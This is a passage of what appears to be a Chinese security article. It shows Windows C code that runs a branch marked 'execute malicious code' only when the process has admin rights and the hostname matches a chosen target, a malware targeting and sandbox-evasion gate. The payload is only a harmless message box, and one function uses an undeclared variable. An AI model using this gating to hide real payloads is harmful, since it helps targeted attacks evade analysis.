return FALSE;

BOOL isAdmin;
CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin);
FreeSid(AdministratorsGroup);
return isAdmin;
}

BOOL IsTargetMachine() {
char hostname[256];
GetComputerName(hostname, &size);
return _stricmp(hostname, "TARGET-MACHINE") == 0;
}

int main() {
if (IsAdmin() && IsTargetMachine()) {
// 执行恶意代码
MessageBox(NULL, "Malicious code executed!", "Info", MB_OK);
}
return 0;
}

参考


  1. https://mp.weixin.qq.com/s/6TR4IV1uZgSUfb_pFnb1-w ↩︎